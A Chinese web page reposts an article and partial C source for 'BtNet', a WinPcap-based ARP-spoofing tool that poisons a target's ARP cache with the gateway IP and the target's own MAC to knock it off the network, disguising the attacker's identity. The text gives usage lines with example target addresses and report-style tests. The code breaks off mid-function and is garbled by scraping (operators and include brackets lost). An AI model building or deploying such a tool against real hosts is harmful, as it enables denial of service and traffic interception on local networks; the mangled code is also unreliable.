分享
 
 
 

基于ARP欺骗的网络攻击程序源码

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

最近开始学WINPCAP,看了很多高手写的基于arp欺骗的抓包工具,尤其是电子科大的TOo2y师兄的《详谈调用winpcap驱动写arp多功能工具》,令我收益非浅。下面是我把这个思想改成arp攻击程序(可令目标主机断开网络连接)的一些测试。高手请略过,以免有班门弄斧之闲。

一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址,源MAC地址却改为自己的MAC地址。假设有两台机器A,B,发送一个ARP REPLY数据报给A,其中源IP地址为B的地址,源MAC地址为我的机器的MAC地址(IPRouter功能打开确保数据被转发),那么A发送到B的数据报就发到我的机器上了,同样对B做相同到操作,那么A<==B之间的数据就会源源不断的通过我的机器转发,直到一个正常的ARP包更改了A,B的arp缓存为止。

那么我们把发送给A的arp数据报的源IP,源MAC更改成任意的,会出现什么现象?下面是我的几个测试

1. 源IP更改为网关IP,源MAC改为不存在的MAC地址

对目标主机几乎不影响

2. 源IP更改为网关IP,源MAC改为内网内任意一台存在但没有开启IPRouter的主机的MAC地址

几乎不影响

3. 源IP更改为网关IP,源MAC改为目标主机的MAC

目标主机立刻断网!

可见当发送经过我们构造的ARP REALY包给目标主机时,会使目标主机的ARP缓存更改,数据封装到MAC层的时候会把网关的IP和自己的MAC地址封装到一起,那么发送到网关的数据报只好发给自己了,呵呵。

至于第1种情况,猜想大概是由于MAC地址不存在,目标主机会广播一个ARP REQUEST包而更新了自己的ARP缓存所致。

至于第2种情况,猜想源MAC地址所属主机会返回一个ARP REPLY给目标主机。

水平有限,所以只是猜想,知道的请告诉我一声,先谢过了。

再说一下,以上测试只对于windows系统,当然也测试过对没有配置好的Red Hat成功过。

测试程序(BtNet.exe)说明:

Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]

-m参数是你要修改的源MAC地址.

为了隐蔽攻击者身份,程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能会得不到目标主机的MAC地址,那么要得到MAC地址请借助第三方工具。

附测试程序代码

#include "packet32.h"

#include "ntddndis.h"

#include <stdio.h

#include <conio.h

#include <winsock2.h

#include <windows.h

#pragma comment(lib,"ws2_32")

#pragma comment(lib,"packet")

#define ETH_IP 0x0800

#define ETH_ARP 0x0806

#define ARP_REQUEST 0x0001 //arp请求包

#define ARP_REPLY 0x0002 //arp应答包

#define ARP_HARDWARE 0x0001

#define max_num_adapter 10

#pragma pack(push,1)

typedef struct ethdr

{

unsigned char eh_dst[6]; //以太网目的地址

unsigned char eh_src[6]; //以太网源地址

unsigned short eh_type; //

}ETHDR,*PETHDR;

typedef struct arphdr //arp头

{

unsigned short arp_hdr; //硬件类型

unsigned short arp_pro; //协议类型

unsigned char arp_hln; //硬件地址长度

unsigned char arp_pln; //协议地址长度

unsigned short arp_opt; //

unsigned char arp_sha[6]; //发送端以太网地址

unsigned long arp_spa; //发送端ip地址

unsigned char arp_tha[6]; //接收端以太网地址

unsigned long arp_tpa; //接收端ip地址

}ARPHDR,*PARPHDR;

typedef struct ip_mac

{

u_long ip;

unsigned char mac[6];

}IP_MAC,*PIP_MAC;

#pragma pack(push)

LPADAPTER lpAdapter;

char adapterlist[max_num_adapter][1024];

IP_MAC toipandmac;

IP_MAC oipandmac,myipandmac;

BOOL param6=FALSE;

char *noMACstr;

char noMAC[6][3];

u_long mytoIP,oIP;

BOOL sendtoOip;

MSG msg;

UINT newtimer;

char MYIP[20]="128.128.128.128";

BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;

int getint(char c)

{

int t=-1;

if((c<='9')&&(c='0'))

t=c-'0';

else if((c='a')&&(c<='f'))

t=10+c-'a';

else if((c='A')&&(c<='F'))

t=10+c-'A';

return t;

}

void start()

{

printf("BtNet //--an ARP Tool test the Windows Break the Internetn");

printf("written by Ruder,10/2003n");

printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n");

printf("E-mail: cocoruder@163.comn");

printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n");

printf("Example:n");

printf("BtNet -h 202.115.138.12 -o 202.115.138.1n");

printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn");

printf(" Warning: You must have installed the winpcap_2.3 or winpcap_3.0_alphan");

return ;

}

DWORD WINAPI sniff(LPVOID)

{

LPPACKET lppackets,lpPacketr;

char recvbuf[1024*250];

ULONG ulbytesreceived,off;

ETHDR *eth;

ARPHDR *arp;

char *buf,*pChar,*base;

char szTemp[20];

struct bpf_hdr *hdr;

if((lppackets=PacketAllocatePacket())==FALSE)

{

printf("PacketAllocatePacket send Error: %dn",GetLastError());

return 0;

}

if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)

{

printf("Warning: Unable to set the adapter to promiscuous moden");

}

if(PacketSetBuff(lpAdapter,500*1024)==FALSE)

{

printf("PacketSetBuff Error: %dn",GetLastError());

return 0;

}

if(PacketSetReadTimeout(lpAdapter,1)==FALSE)

{

printf("Warning: Unable to set the timeoutn");

}

if((lpPacketr=PacketAllocatePacket())==FALSE)

{

printf("PacketAllocatePacket receive Error: %dn",GetLastError());

return 0;

}

PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf));

while(!kbhit())

{

if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE)

{

return 0;

}

//getdata(lppacketr,option);

ulbytesreceived=lpPacketr-ulBytesReceived;

buf=(char *)lpPacketr-Buffer;

off=0;

while(off<ulbytesreceived)

{

if(kbhit())

{

return 0;

}

hdr=(struct bpf_hdr *)(buf+off);

off+=hdr-bh_hdrlen;

pChar=(char *)(buf+off);

base=pChar;

off=Packet_WORDALIGN(off+hdr-bh_caplen);

eth=(PETHDR)pChar; //以太头

arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头

int i;

if((eth-eh_type==htons(ETH_ARP))&&

(arp-arp_opt==htons(ARP_REPLY)))

{

//if (arp-arp_tpa==htonl(ntohl(inet_addr(MYIP))))

{

if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag)

return 0;

if (((toipandmac.ip==htonl(arp-arp_spa))&&(toipandmac_flag==FALSE))

||((myipandmac.ip==htonl(arp-arp_spa))&&(myipandmac_flag==FALSE))

||((oipandmac.ip==htonl(arp-arp_spa))&&(oipandmac_flag==FALSE)))

{

memset(szTemp,0,sizeof(szTemp));

memcpy(szTemp,&arp-arp_spa,sizeof(arp-arp_spa));

printf("[IP]:");

printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));

pr

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有